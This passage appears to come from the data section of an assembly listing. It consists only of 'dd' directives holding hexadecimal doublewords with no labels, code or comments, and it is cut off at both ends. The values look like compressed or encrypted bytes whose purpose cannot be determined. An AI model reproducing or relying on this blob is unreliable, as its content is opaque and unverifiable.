76670038h, 0AAC3EC04h, 0EDBDF305h, 0E6C013DCh dd 1474C29h, 3E979A81h, 0E06228E4h, 39038927h, 458E4BEFh dd 1D683D8Bh, 1A0711Dh, 9AB77969h, 5F90D46Eh, 0A72BED00h dd 9C03337Ah, 285A4C7Bh, 92E43B2Ch, 88621BCBh, 1A0FD4C0h dd 98E58100h, 6065531Dh, 0F9BF3A37h, 0CADE8A00h, 6A7F1AFDh dd 11C124Ch, 0B3058C88h, 3DE40F9Ch, 4B8900E9h, 69C49D9Fh dd 16076053h, 87A8144Ch, 7F2EF080h, 565F002Dh, 349F0E71h dd 75007C1Eh, 4E8B600Dh, 38E72AEh, 0D342B087h, 27988943h dd 0E9007AA3h, 2FB84CAh, 1E56E36Ch, 39812D1Bh, 0CB8FE683h dd 0D0754B8Bh, 0CB00D00h, 9216AA84h, 985400CCh, 3B61ED4Fh dd 17F4EF58h, 0A6F0D361h, 14208F90h, 4B6CF247h, 76F876h dd 0D4BC263h, 292465h, 89BB0F5h, 58BF9EEDh, 0A5645600h dd 0DFB5AB91h, 33D1135Eh, 0CFC40497h, 2F8CA0C4h, 0FA7D5418h dd 852448h, 75562173h, 65FC8F6Ch, 63939C05h, 4B80B77Ch dd 5444F679h, 71EC87Fh, 0B6983A64h, 82C88112h, 0D0C0C6E5h dd 0C03478Fh, 1A6AE6CFh, 0C057A2DBh, 7CADD739h, 0CEED00F9h dd 5CE48EBAh, 1600B615h, 0E992F30h, 461F1Eh, 54DA176h dd 280224E9h, 4EAA9C07h, 4360B251h, 3B72EABh, 2210DF15h dd 0C79B25D2h, 8D988A80h, 0C519A600h, 0A32D91C6h, 48DA0068h dd 25CA5F51h, 0E770DD64h, 0DF187D28h, 0AFEE8F00h, 761EC6B5h dd 0BF910012h, 0C10C7BE1h, 7E000356h, 5899DBE7h, 7FB73C15h dd 0C5E50077h, 0EB193375h, 2603EAE0h, 4CE26BFCh, 5856B006h dd 68530049h, 720EEC77h, 0EB8F43Ch, 1E7AE21Ch, 0F9FE26C0h dd 3E491h, 8DAC1FB7h, 6F119CF5h, 0A780F72Eh, 0FA963D00h dd 0EC42BFDh, 6821275Dh, 33F242A0h, 60023C7Ah, 0E915C153h dd 12E0FFE3h, 270023ABh, 0B2744DB7h, 5DDC95h, 0E25A9B35h dd 40A678C0h, 0D6F24300h, 0CB19F3DFh, 64C10085h, 0AD8CA250h dd 0C50210CFh, 0D8F784FCh, 4C8CE008h, 66240085h, 0C4C928EFh dd 0BE7593FEh, 446C3101h, 837AB04Ah, 1D3B60F6h, 0F63600E0h dd 7BC7CED2h, 4C00073Eh, 22F7CCDAh, 0D0CBB6h, 85C99C54h dd 0D9845987h, 30051501h, 21A35EDDh, 0B0E96880h, 95F55841h dd 3743BD00h, 0F248166Ah, 0A10F00FAh, 0E3567D60h, 0C800A5E1h dd 69AD66C0h, 623FB216h, 0DB432820h, 3BBABC80h, 0A400C33Dh dd 0BC04DE7Ah, 0BF2EA9h, 0C8BE6684h, 0F86F9CD5h, 0F35FC300h dd 6EB43A99h, 0F5B90031h, 0D9292EE3h, 6975E823h, 9A748301h dd 812CD1B6h, 3B958BD8h, 0C300A4B2h, 0C48878E6h, 0C6486013h dd 637B020Ch, 8079649Eh, 0F4C856EAh, 0C2B40067h, 0CA35E40Bh dd 0D4000A5Bh, 0A34A7F5Ch, 0F71E1Dh, 0BA059492h, 0F063271Bh dd 74B48300h, 183AF24Ch, 45F100B6h, 0EA333E93h, 26782817h dd 7957581Ch, 95A78940h, 602C29h, 65C73CB5h, 0AC136CD1h dd 15E64F00h, 822B915Eh, 0A1E8F98Ah, 341F623h, 0C2D7E3A6h dd 0B898D377h, 0BD38653Eh, 5980093Fh, 66C020E8h, 3812941h dd 42FCA21Ch, 90E7D0B6h, 0D699952Ah, 1DEFAA00h, 1ACF4AF4h dd 5E0D000Bh, 20A58450h, 57487204h, 0C69500CBh, 0BDC1BEC2h dd 29640CC3h, 836007ECh, 6BBC2E0Eh, 81BAA0C8h, 370FB5h dd 0C3AE5D0Ch, 3BB24C26h, 0CAA73300h, 9C22302Bh, 0DF75FCh dd 6E0C639h, 51294A1Bh, 67F69400h, 210C25C4h, 5C49006Ch dd 0DAF7BF55h, 9818E33Ah, 655EF6C2h, 19B403CBh, 4969B7C4h dd 0A62C76D0h, 4890D773h, 796C9D10h, 647DC00h, 2F6696B8h dd 0C97AF0EBh, 0EDAB38h, 6A03AA82h, 283845F8h, 0D0A3E8h dd 0B465B664h, 0BB1AC5C6h, 0CB93C801h, 6DC2BE26h, 0C42048DDh dd 4A140C46h, 0D180B19Ah, 0A0126600h, 4C33F772h, 8C71DD3h dd 515A052Eh, 0B6858004h, 551C2280h, 9740BE61h, 26627085h dd 2F8A248Eh, 0FE830014h, 0DDF747B7h, 0F0A80D07h, 5C609564h dd 9DEE86h, 87AC06B3h, 3A4974E0h, 78914670h, 0CACFDD80h dd 7D899A6h, 85510456h, 160EEFEh, 7F89C0AEh, 6A0AA500h dd 462990DCh, 734401F2h, 17E8F11Ch, 0DD9EF87Dh, 76028679h dd 0A47F691Fh, 87A96345h, 63223920h, 604E4AAh, 52B686FDh dd 0C800C0BAh, 936BB214h, 3CA7F528h, 0DD81E587h, 0DF7CE173h dd 32E4C01Dh, 98B67900h, 188B9C6Ch, 21E31C28h, 0C588408Eh dd 78EDB162h, 15600307h, 0CF400936h, 0F0B6BA4Dh, 75D2009Bh dd 0EDE401ECh, 0CB3F6EE5h, 5298F5Dh, 0D7BCEE70h, 0FE433004h dd 6478C1BAh, 0C088CD03h, 5490B9D1h, 4234B18h, 0E454FAA0h dd 0E6AFEC0Dh, 0CD7300F1h, 793E4F9Ch, 350FA81Fh, 0C0528B70h dd 24B8F4AFh, 41300013h, 8E3ABCCFh, 9001341Ch, 3C5B6FD5h dd 0DCFDCC3Eh, 7B886C8h, 9CEFB23h, 8CAF4094h, 43953D9h dd 0B9E500A9h, 0B331D578h, 2087678Ah, 47CEF040h, 0AA000D48h dd 176BED6Dh, 2E298CFh, 0CDAB92A1h, 3FC127F3h, 9368FC9Ah dd 924B3C38h, 70008764h, 8030F583h, 25433B3Bh, 0DD39D500h dd 85267715h, 0CA537200h, 577C2803h, 0BCA93B80h, 271952B0h dd 9A01A2EBh, 9E94D8FEh, 9AD72075h, 3D844086h, 7D71FCh dd 8B27E958h, 0ABC7B6DCh, 0ED930E00h, 545A4660h, 33A002F6h dd 8BD6532Bh, 82B8A663h, 0CA3CE31Bh, 1D385849h, 4EC01F08h dd 0ADA63ABDh, 0D6D30EEDh, 226BEF06h, 89651C00h, 7E28FE2Dh dd 9A00FAE9h, 52CAA83Eh, 0C09EA579h, 0B9E1F190h, 0F00774B6h dd 0D1C83559h, 0BF0FC04Eh, 73F15E36h, 5C68FEC7h, 981E38ADh dd 0E7E3405Ch, 623B7E1Eh, 9B602400h, 6B640CD1h, 68880172h dd 2BB9E846h, 2C0DDC80h, 5AB1E404h, 7880762Ah, 7F1D69E3h dd 3E2F000Ah, 0FE423F1h, 0E23C636Dh, 22378302h, 88CBCC51h dd 72557FDh, 680F7123h dd 0B916207Ah, 0AF003F83h, 505C9DCEh, 5C87B69Eh, 0DD00EDD9h dd 331E0FC6h, 0EE0455C2h, 0D404994Ch, 7DE50680h, 9E7E09A6h dd 4C005DC7h, 70FB3398h, 3B03B200h, 1AAEC04Ch, 689A0056h dd 0ED0A7576h, 0C0059F3h, 0B2C39171h, 1D8967Dh, 987AE1DDh dd 0F4341D18h, 0E0128E5h, 9F375CE6h, 39F0BFE2h, 9E010E76h dd 5020547Bh, 0D95F75F8h, 8B2C1800h, 8EBF1340h, 0A5B400CAh dd 0FE501D78h, 59EA52D6h, 720047B0h, 8884DC89h, 5D2C354h dd 3574EA55h, 704097FEh, 0B14AC879h, 1101F4EEh, 0D37A3609h dd 8BE8F86Bh, 87ED1933h, 0FCD8BCDAh, 0EA1861B9h, 7E484635h dd 0AC7F12h, 2BF522E8h, 0D1E4A041h, 3EEF8A0Eh, 26CDEE8Ch dd 3C1083BBh, 650A937Ch, 0F108771h, 0EAA03F22h, 30AC46CEh dd 9A00FBFEh, 0FFE2CB2h, 0EAD613D3h, 0B0EE6FC6h, 201EAE87h dd 25626EDAh, 840E5090h, 60DDF398h, 9C415511h, 2FBF0B61h dd 7CA08D73h, 65196CDBh, 24CB7900h, 59DA86D0h, 0FB770325h dd 0BFE4AF23h, 2C0B610Ch, 0BB05911h, 8699936Eh, 3D230F80h dd 4350DE02h, 5400743Ch, 47EB2BBFh, 7F564CBBh, 0C7FD5170h dd 0B812FFCh, 11491C3Fh, 2D7DC100h, 1073124h, 972B2546h dd 0D51CB820h, 0D24900A6h, 5972C5ABh, 7B1FF30Ah, 8EFAD8E6h dd 20C2A940h, 8728D6E7h, 7E1003F5h, 0D95979E4h, 418166F0h dd 6DC1800h, 3A5AA688h, 405D0043h, 0D81BE46Fh, 940062AAh dd 0D59A03E6h, 0E85F42h, 0F4D69ED2h, 0CBA50F6Ch, 0D3008C76h dd 41B58461h, 5C47D4h, 67668A3Ah, 761B7C9Dh, 0EDB93F00h dd 8254C86Ah, 327391h, 4E29EC37h, 4F286F74h, 2F0B0D1Dh dd 0BDAB2DC3h, 0C4839881h, 0A204006Ah, 95F6552Ah, 0ED0792BBh dd 6806EF27h, 0E58F480h, 24D4A064h, 0C932863h, 29800EB0h dd 0B0F8EDEh, 7F3BA901h, 0FDBC5021h, 0D43C9740h, 85040693h dd 17408B12h, 11B04Eh, 71EA954Fh, 9400A85Ah, 0DFCDA22Eh dd 0E4139BA1h, 95BE0032h, 0E793C5DCh, 801C4131h, 270B40FFh dd 0F1E81B1h, 2080DA10h, 5565D194h, 9948A117h, 97A00108h dd 3B1238BEh, 1E7330C4h, 40E40AFFh, 1598C9ADh, 97120FA6h dd 1444657Eh, 44908A9Eh, 60C0962Eh, 367EC9B6h, 8600021Bh dd 0E9147C94h, 0A00F6F6Ah, 0E9AAF84h, 411CBB84h, 3D418F2Ch dd 0A3AA6200h, 0BB949BDh, 71FC0010h, 3C30DD72h, 970044CBh dd 1E431F67h, 0F88E854h, 8295F57h, 8A41410Fh, 20EAECE4h dd 3B2AAAFCh, 0A04424BFh, 115C0059h, 5E9804D0h, 149A0882h dd 13010EEEh, 978AE21Eh, 48BBAD26h, 0AC5C8280h, 18DC2E61h dd 0A078A30Fh, 544060A4h, 256343h, 74BBE74Fh, 8A74236h dd 0A849D300h, 0BA1FD08Dh, 0C3F23EA9h, 7D685E00h, 70151CE0h dd 2B798E79h, 3821A107h, 4530CA58h, 5C8524h, 90A07E3Bh dd 0AF2E7528h, 5457FB0Bh, 644049Fh, 0ADF09BC7h, 0C841FCh dd 8A07FACCh, 0DD36A647h, 6A046700h, 291660E8h, 19DFC21h dd 0FDA353Eh, 0CDE08D43h, 0C46C61B6h, 6EE424B5h, 8E8C8F00h dd 7F1A09B1h, 0DEA31EC8h, 5FEA801Fh, 90D52976h, 0BD450500h dd 55E411BCh, 54990065h, 0B7256018h, 0E0E07D93h, 4AC6B01Ch dd 4F0E3245h, 0A02E807h, 88018A60h, 9DF000F9h, 1D2242B7h dd 0FF07331Fh, 18E1FE31h, 95AFAE0h, 47280072h, 7C60F043h dd 0A4018316h, 3BF4D2A0h, 0DFF43101h, 2FE0002Dh, 9F732AEh dd 0D701D057h, 25A20383h, 0F4E4C984h, 80160086h, 0AFA62A27h dd 9170E94Ah, 7E20266Ch, 0A7750108h, 0DA6012FFh, 0C0D3E4CFh dd 3DF86409h, 0E080015h, 1247828Ch, 0C02AF3DCh, 0F2443360h dd 32035272h, 414FF89Ah, 5B6DB0ECh, 3E100015h, 0B5C114EBh dd 61EE4D69h, 8484BA28h, 96477301h, 0D17E207Ah, 0C1F884DAh dd 485F5882h, 233F20h, 0C727FE65h, 673A3375h, 5B8D3C00h dd 4A7CCAFFh, 52E13BB0h, 7698004Eh, 51A1A47Fh, 0A0300407h dd 63F0503Dh, 285B8794h, 0C5D8A5h, 0FD1286CBh, 8B83156Fh dd 303F4717h, 7CC4FF00h, 12F6839h, 3618AB1Eh, 0DF4FBB91h dd 8F3FB9E8h, 82A9C0FFh, 3EF02900h, 3B2BB2A1h, 15B500F2h dd 87735E3Ah, 0EF7D8264h, 8B8A4300h, 0C13CBFF5h, 0B78D3C85h dd 0B34BCC01h, 0E499527Ch, 0D500841Ch, 0CD4373C9h, 635ADDh dd 86C2E76Ah, 0CF2464FBh, 6C5E3001h, 0C4DE3308h, 0C19FF8CBh dd 8A5218BCh, 4EE85094h, 0A857C00h, 0BB4D2FB7h, 649E00A8h dd 0E2740328h, 8100B62Dh, 9BDC394Ch, 0F99F26h, 90663189h dd 44565C0Bh, 0E9D4961Dh, 0DE438100h, 0D6A8E0h, 0EFDF8F0Eh dd 94B3C527h, 4A319C00h, 75676C57h, 59E8094Eh, 0C4A33F09h dd 810104AFh, 0DDD12507h, 23D0CF90h, 0F2480017h, 15C47F6Ah dd 140FE238h, 0CEA17BADh, 0CF88E02Fh, 9B67519h, 0D8944046h dd 0D033D000h, 5F02AD8Ch, 0ACCB61E9h, 0FCECC881h, 326A13C7h dd 3391C0EAh, 0B40E824Ch, 60BF06ABh, 0FB046B2h, 0DBA9068Dh dd 505B0784h, 8AA45100h, 6B6D96DEh, 9DB80599h, 84A0F32Bh dd 7001C08Bh, 4C03EFE7h, 0CA54F24Dh, 7B3FE006h, 0BB1107F6h dd 82B21DA0h, 8C787EC5h, 4ABC8600h, 5CFD0B42h, 343A03E4h dd 0D6A5D46Fh, 0EE2F203h, 0A856F686h, 700AE1h, 514A37DAh dd 0DB2F119Fh, 5C6A2160h, 81BAA3h, 0E362D0D5h, 0D674EF9h dd 120FD3B0h, 40EC021Ch, 633C6DC2h, 0F7F2006Eh, 0F16239E5h dd 1803E7CFh, 8141A8F3h, 5008A81Ah, 0AAD4383Eh, 0A75C8A84h dd 0AEE8D0F9h, 6E903C4Ah, 1D02B300h, 0CB674D87h, 0E1E2A8h dd 350D8EBCh, 0F3C2B4AEh, 8FAC0CC0h, 27FD643h, 0CE600771h dd 94A0268Dh, 0A6241A30h, 5386E300h, 5607AC98h, 0BD8A00C7h dd 0B4496020h, 9C007E1Eh, 376FD7C2h, 1C863C89h, 963A97E2h dd 28120074h, 799FA933h, 0D426B928h, 5200C3F2h, 0E496B2FEh dd 666DB7h, 30D47E56h, 683B0BBCh, 7CB8153Dh, 0AB00CDE0h dd 95071C0Dh, 1C0285D3h, 0C026472Ah, 1B5EC696h, 6C125C4Ch dd 68022B6Ah, 84F8CBBBh, 0C1AEE088h, 0EC098ED0h, 1C31783Ah dd 0C92270DBh, 0F8DEDF8h, 5A14CB33h, 90E3485h, 0C880F083h dd 89E1D3C6h, 0C983CA07h, 3070293Fh, 33B7823h, 0C0B646E4h dd 50001525h, 2B442FC7h, 28DCBA0Ch, 0F46B8Eh, 40B2DD6Ch dd 1FB59414h, 0F400E4B0h, 340E5D09h, 13E8227Fh, 824ABDB9h dd 0F044472Ch, 0F0670706h, 24DA33FFh, 0C9A443CAh, 64019C34h dd 73F939A2h, 0FBE46F0Ah, 0B67B76h, 92D54CBDh, 82CBE83Eh dd 8017663Ch, 6F36356Ch, 0E2A5958h, 0D7F51ACCh, 7D56B6E0h dd 380008E2h, 463CFCFEh, 0F241DBh, 5116EC2Eh, 0A96803B0h dd 30502A00h, 22BDE0Ch, 0B26102A6h, 0AA42573Ah, 0BE247CE0h dd 0E104F900h, 0EE8EF5CEh, 812C0085h, 8A692B01h, 3A02834Fh dd 9FCA1B30h, 2CD0DAh, 0FDB400Bh, 0EDF83520h, 8A005974h dd 62389910h, 2FF40Ch, 7761B0D3h, 6CCFB236h, 3F932900h dd 6E523CDh, 0B968009Ch, 6B16768Dh, 0E8003CE1h, 0B3E7FB39h dd 280D23Ah, 0A278F8CFh, 0DDC0AD62h, 0FE005806h, 0AC9326DDh dd 0A77FBh, 709BE42Ch, 3EE5E17Ah, 60BC2B78h, 2835BC04h dd 24210480h, 58509ADBh, 0C5004137h, 48421344h, 8E00C94Bh dd 5F2F9A0h, 98E1E85Ch, 0A60B00D4h, 9E7795E2h, 0A9006B97h dd 69D41E4Ch, 789E548h, 7C43B78Bh, 9181BE22h, 68CFF4DFh dd 0BED500FCh, 559C13CAh, 8801657h, 0B86D14E3h, 723B413h dd 0E0D17BB0h, 61924FAAh dd 110D948h, 780BA5CAh, 6BD442C9h, 8E491630h, 8B28D071h dd 383A9B28h, 0C8AB091Ch, 4DE8801Fh, 2FDB0B7h, 78395FE6h dd 0F8108C81h, 59FF1ECEh, 34E940F6h, 4055AF4Ch, 0B7DE2C02h dd 0C6E8ED56h, 9EA0Ch, 2F58FE9Bh, 2C12DE0Bh, 8D0E2600h dd 0CAC41435h, 0B9F10064h, 6CEF51E4h, 633C6761h, 3260840Ch dd 0AEBCAD27h, 86D1Eh, 0D81BF478h, 7AF63106h, 1513B802h dd 40C7FFC4h, 0E063E7h, 76ACC29Fh, 8D0C0728h, 78704E00h dd 871473Fh, 36D7E13h, 0A25D2526h, 89A0E680h, 3800EE68h dd 0EDC04F44h, 39F7A11Bh, 0AC00A3BBh, 0D699E904h, 74008DF3h dd 2E7B2A68h, 0A07C50D4h, 0F8E8568Dh, 181F00B6h, 8276FAAh dd 8F39DE87h, 4B4A8F26h, 22846481h, 59C720D8h, 0D3C40Bh dd 0FB9E698Dh, 0BCB203F9h, 0E00C444Ch, 427DB495h, 658B0B35h dd 72E0B5Ch, 49E1D198h, 2EF40C32h, 6DA20B7Bh, 0CC41A614h dd 20BC3566h, 693E4DB0h, 0A618B8ADh, 76006882h, 1FD89CFFh dd 0AE8BA14Fh, 18053C4h, 42EBB0DDh, 0FC301E33h, 5000DAADh dd 0B5CA51D5h, 0FA120EAh, 93D4E877h, 8CE00033h, 28AD668Bh dd 5C5A7226h, 78D14817h, 44306BEBh, 36C1010Ah, 5933D530h dd 938EF066h, 0D0618D06h, 92E2C7h, 0E92848DDh, 2FC54F51h dd 410F7C00h, 8B5BFBB6h, 8E0700CBh, 7D40B7EDh, 0D9033702h dd 0EC4F81DEh, 0CFA4982Bh, 0A1125C14h, 96DB6B00h, 0CBC9B45Bh dd 82BD7601h, 7902B8E0h, 248795C8h, 84A81F9Ah, 902EC267h dd 10087058h, 8A0045E0h, 18B788EBh, 0FC5994FBh, 1189135Eh dd 24F700B0h, 434A554Ch, 9D34F201h, 230CEABFh, 0A935F041h dd 91628C34h, 0A06584B8h, 53D9C0C0h, 0D40BB7CAh, 6068BE5Eh dd 7F043918h, 16BB16A0h, 40941DB8h, 0B1216082h, 0A3004B6Eh dd 0A1273E2Bh, 2A5266Fh, 9D38E9E7h, 4870ACCFh, 1BC565Ch dd 54DE84B3h, 0E0C4F693h, 9CDC5DADh, 1ABA88C0h, 55017985h dd 1524F69Ch, 0E450C9CCh, 36DA53h, 0F74941E3h, 0D4281BE0h dd 0A97927E6h, 8791D200h, 0ED5D6AE8h, 698E006Bh, 8C3AEEF2h dd 48B93762h, 7E831E6Fh, 80036E57h, 1540468h, 1A6B121Eh dd 0F027B51Bh, 573FDBCh, 7DEC217Ah, 0D8BAB00h, 6CB6613Ah dd 0D0A01F1Bh, 0FC9FC095h, 757750DDh, 0CAFD6A03h, 0D87D825Bh dd 0EBA39Eh, 0B69C991Ch, 0DAB2D54Dh, 1F004FEAh, 0F62D5B24h dd 0B596A4h, 0D52C1601h, 0F3F08CAEh, 37932700h, 0AF95458Ah dd 0CE540077h, 62E86EB9h, 0A407A757h, 31CCD1E9h, 2DFF1090h dd 792F00F8h, 0B8BE61B1h, 7E004DFCh, 756125Dh, 7D75DAh dd 5A90D1B3h, 0B183890Ah, 9F912500h, 1262F51Bh, 0AC370EA6h dd 8AE0F24Ah, 308569Dh, 8158092Dh, 91E36BD8h, 275F20h dd 0F93A36E9h, 9E4C5D5h, 95351600h, 9F61B91Bh, 0A0A4041Fh dd 0A0D410A7h, 7EE075B9h, 0DFBCE900h, 53B25CDAh, 9489009Dh dd 38A67AFDh, 2EF8A8F0h, 0B777920Ch, 0CE3F527Ch, 0F52EE978h dd 96DD1CC0h, 0AD007D04h, 0F918DBECh, 90D387E1h, 0FEAE0334h dd 0B584EBA7h, 34413BA1h, 38301634h, 6DA54904h, 0F3D1D11h dd 0F66E009Bh, 0E6DBB2CFh, 39055100h, 9CB702BAh, 0FA8F00D0h dd 2A78996Bh, 85005C67h, 0DCD1386Eh, 1D7FCEDh, 0C02552B0h dd 88EAFA80h, 80285E69h, 0A2213883h, 800936Eh, 8454F20Fh dd 38D15h, 0A4DCD490h, 0A0B52EE6h, 0EE2111Fh, 544B16CAh dd 40265B06h, 232C00C1h, 0F6B9E5AEh, 1B02E2ADh, 76633F36h dd 0A99084B3h, 8160BF87h, 909AC65Bh, 87E4C0h, 7013330Fh dd 0BDD960D3h, 0E4C43400h, 0E742CD0h, 0F9CD007Ah, 1F0732ADh dd 5A005CECh, 6B7FAEDAh, 50A499D7h, 0EC4C36Ch, 0C9AA8E1Ah dd 179BE700h, 0F6000AF5h, 0C23946E6h, 2D9991h, 571283BCh dd 0F101A4A9h, 0C88A3430h, 2C0D28h, 0A22E313Fh, 0AAD43CBFh dd 9ED30203h, 0C81FFD1Eh, 3072F036h, 57F1241Bh, 1E60469h dd 0C303DD00h, 9D099350h, 76D8036Ch, 0BC8D27BFh, 0B04B60E7h dd 9B032DDAh, 1CEF838Bh, 0C200B7C4h, 25128721h, 6C00759Eh dd 0BB96650Eh, 792DB00h, 0C31D5C7Bh, 0FBE42C08h, 0BAC40B65h dd 53A7F500h, 0FA00B10Eh, 6B99D3A1h, 7C853AD4h, 0DEA80392h dd 8E8C04DCh, 69ECD7A0h, 18218401h, 162FEB58h, 1C2798DCh dd 0C050205Bh, 9B04429Dh, 9A54A22Ah, 0A85AE388h, 3DA6C400h dd 5A030940h, 0DAF8E8h, 2F705CD7h, 0A1C78Fh, 0B6A89A9Ch dd 416804Ch, 0FB006EF0h, 6415C23Ah, 0B80ED394h, 29AF007Bh dd 6F662B9Ah, 0CF00DB5Bh, 0B9FE3CF7h, 1CB898Bh, 0A4386417h dd 0F85673E5h, 0ED070DA1h, 78C10B20h, 0E008FCh, 3673E7C7h dd 0D6159FB2h, 7153F800h, 82482131h, 0BAAB0138h, 771D07D1h dd 5001D373h, 7D69C453h, 0FBC0C6F6h, 4F3E1C11h, 0A3F74083h dd 7068A6E5h, 0D0BEA502h, 60749F29h, 397AFBh, 33BB8B4Ch dd 0F3173C7h, 3A608300h, 9EDA1F86h, 0CB780A74h, 855C5DDCh dd 0C10AA20Eh, 4179CF8Eh, 0C8645Ch, 0E49FB747h, 436000E3h dd 0F885108Bh, 6D0F547Bh, 80F6750Ah, 4C831EE6h, 5E8A00BEh dd 85895A92h, 0AFA3F305h, 808003F9h, 0EAC64528h, 0CB886A4h dd 0C56C2FF4h, 153EE808h, 14037B05h, 2BAA1DE7h, 84EE8050h dd 9C721461h, 2723288Ch, 0B1E7E501h, 19FAD079h, 0FEDB10C7h dd 41B000E7h, 0F9E11B3Bh, 497C971Dh, 86E08A50h, 0A977510Eh dd 2002AE0Dh, 0FCD76570h, 2A9A00DEh, 0B3C0EFEAh, 32001826h dd 28F22CA4h, 0B25A5Fh, 70103D6Fh, 0E99058Ch, 60466700h dd 0D8B586DFh, 2F880733h, 0E09C4B98h, 307AA6EDh, 4400E7F6h dd 6338ABE1h, 0F516E78h, 0B1CAED3h, 60FF3C20h, 0D6000489h dd 26322EB4h, 133D546Fh, 0B184707h, 280E9A86h, 60220480h dd 4400C6C0h, 0B0B3091Ch, 0A75B4Ah, 8F99C5AFh, 945E187Fh dd 47000E7Ah, 0C822B360h, 33F6D0h, 775B5AF9h, 8F76E74Fh dd 0A01CF700h, 6A8C0BDEh, 50E10082h, 0E85F8B9Ch, 7B0011DDh dd 4AE43069h, 3B2CCB2Dh, 9E00BB43h, 0D53D7240h, 0BE7523F8h dd 17FD6800h, 9A742522h, 0D6E7181h, 57F6068Ch, 0BEF04328h dd 65AB3988h, 58C4DF1Fh, 810060Ch, 0F11200D5h, 4D4A6736h dd 0A2488B7Ah, 0AF247443h, 8B3E0EE8h, 803198A1h, 50A723ACh dd 6CB0030h, 1F584C8Ah, 0B30063B6h, 48E8347Bh, 60161A1Dh dd 7822F1ECh, 3A7B2DB2h, 5FBDC0Fh, 2A46A047h, 0C9A854h dd 8DB2D881h, 9550805Ah, 8F314E00h, 123E99B6h, 97A63C82h dd 737FB90h, 0B00B985Ah, 2858B84Ch, 3F3029CDh, 7F3B8D8h dd 0BAFAC0FDh, 0E4B68089h, 30143BC2h, 7A7066Bh, 5ABED53Ah dd 15CAE061h, 4899BE70h, 0F9004C33h, 0A45075DFh, 8000203Eh dd 0A2CEFD30h, 2C07C7h, 0B2FABE93h, 0B43A8F79h, 2D207B0Fh dd 0C13E6E0Bh, 5875B5C2h, 7E4D3060h, 0A16600CFh, 9441341Eh dd 430063D5h, 45FD60E2h, 40B24Ah, 0AD70494Eh, 1C41E004h dd 0CFE66500h, 0B3F28D4h, 2ECB16DFh, 0E430013h, 0C779D2CDh dd 9EFA0401h, 45F0AD42h, 0F3A04087h, 77ED4248h, 21D6DA40h dd 9FC2B00h, 687939E1h, 3EF0005Dh, 0A0607125h, 7F60855Fh dd 0BA634F30h, 9D5C1809h, 2969106Fh, 64E2A000h, 8DB7156h dd 0DEF8183Fh, 626031CEh, 0A796F600h, 0AB5404BFh, 3EC7CB7h dd 0FBB1E949h, 3CB71C0h, 949AC5F8h, 0E6D32D0Eh, 0EBD606FFh dd 5CD01C28h, 0E2FDC09Fh, 111D85E8h, 4160BB74h, 77304960h dd 8D020053h, 2E3AC936h dd 740726B9h, 6B1FEAD8h, 0B7689D90h, 6C950077h, 48A67B88h dd 2B0211BCh, 32725E89h, 951EE062h, 0C090073h, 4C60E64Bh dd 96003A20h, 0FFFEF3AEh, 0F08CD61h, 71EAA784h, 924E0600h dd 0FD24F9D9h, 41004405h, 56BE5C2Ch, 0FA4800F4h, 189CBCC5h dd 9DA09E27h, 21DE46Ch, 1B80D254h, 0D4E9EA9Ah, 311FA8Dh dd 0C9A99506h, 96A8F43Bh, 3107A7A5h, 0E3FD2085h, 0DE58D930h dd 77D500BAh, 0FFF61A92h, 0D03A6D22h, 9176FE17h, 996E3400h dd 67C25351h, 0AD890087h, 0CC3A1E57h, 47F0AC05h, 71FA1A00h dd 29B14B36h, 129118AFh, 0DAF04461h, 0BC1DD00h, 52EA9BA8h dd 0F4580072h, 3582A43Fh, 54016451h, 2BDFF7F1h, 0B13BA759h dd 0A4AE4C6h, 7A3ED900h, 0FD33D072h, 8D7A4Dh, 25978546h dd 35FF1844h, 0DDA740C0h, 6067FCC0h, 1A13119Ah, 5500D90Eh dd 0C903A89Fh, 30042293h, 94205778h, 76002151h, 4C4AAFEAh dd 3EF1BCh, 1FAD6802h, 31DE61C6h, 383BE000h, 0A89816B7h dd 4D231835h, 32404056h, 2DAF5E1Fh, 6027C500h, 0AF45769h dd 6803C0DFh, 14678144h, 0A0272998h, 3444480h, 157000F3h dd 4C94DB86h, 7700584Fh, 0A567463Dh, 1F342940h, 6CC664h dd 0C9890DC8h, 94009DE0h, 12CC637Ah, 13CBEDh, 0AF702F08h dd 195D7D3Ah, 7A0EFF03h, 0BB71C2E0h, 11DF031h, 363E1EC7h dd 40811D1Bh, 8ABA920Bh, 0ED00D56Dh, 26DE2111h, 0FE614B75h dd 0E5CE0CDCh, 1A2280C7h, 0FE31BB00h, 23ACA86Fh, 0DB9C0371h dd 37252973h, 63B04EB8h, 172E4900h, 7A76F460h, 0F74200A7h dd 4CE36FFCh, 44E49169h, 0F596A00Bh, 0AC9D8276h, 8D4BE05Ah dd 0B4260048h, 15C19261h, 7200ED11h, 0AF58911Bh, 4710D6h dd 56F5979Ah, 8E82C3CBh, 89E7F41Dh, 8DEA278Eh, 3E9802Bh dd 78D4ECh, 0DC18558Bh, 61CB1B57h, 829A7739h, 3DADC8A3h dd 3516C021h, 0F73100E2h, 0A87C9307h, 0C6F41A0Ah, 42328A07h dd 8587E856h, 4E709B00h, 3D879D2h, 0E4504B76h, 0C8BEEFE1h dd 622498C1h, 2880E309h, 0DAAAD523h, 0CF04E8EEh, 7D0A9B75h dd 80F75F5Fh, 6BD1F0A2h, 43A10CEh, 8472006Ch, 0F79A979Bh dd 0A6A200A9h, 0A7363469h, 8F0A64F0h, 8099CE0Ah, 26107600h dd 0E134C31h, 0BD520147h, 0F0069FE0h, 660019E8h, 0FEB292A8h dd 39D66574h, 0C480574Eh, 621C2F4Ah, 3407FC9Bh, 32FA6A56h dd 6A80F5F9h, 0C22CB68Dh, 4891BD00h, 6BD0DE25h, 0A2ED00AFh dd 0E263D9A7h, 0DB00FE6Fh, 2C8047DDh, 7BF61EF8h, 7816001Ah dd 0B23FD4A4h, 5E00700Eh, 0C596EB34h, 6E2C77h, 0CADA3B90h dd 0E2B5552Dh, 282EDC00h, 2033AB3Ch, 0C9C60092h, 4EEC4394h dd 0B40F9546h, 8052C835h, 965D7C41h, 885A0337h, 95057403h dd 59731DE0h, 6A852100h, 97C524E8h, 42551CE1h, 0CC2840C9h dd 6F0EF471h, 0C10C0871h, 6894FD61h, 96151EB6h, 0D76E0187h dd 0D0772BDAh, 3FEADB7Fh, 6D360202h, 604DFF41h, 627EA2Fh dd 54014ED5h, 710040BCh, 0BBEBA0F2h, 3216308h, 6E924135h dd 0C38527E5h, 1F3B585h, 25A01498h, 648C8707h, 0F1A07976h dd 30983437h, 9CF91675h, 520FE1E6h, 0E5F3D57Ah, 21C18305h dd 0E883720Eh, 0F590D0C9h, 4B897807h, 3C10F8ACh, 1D3D41Dh dd 97259C8Ah, 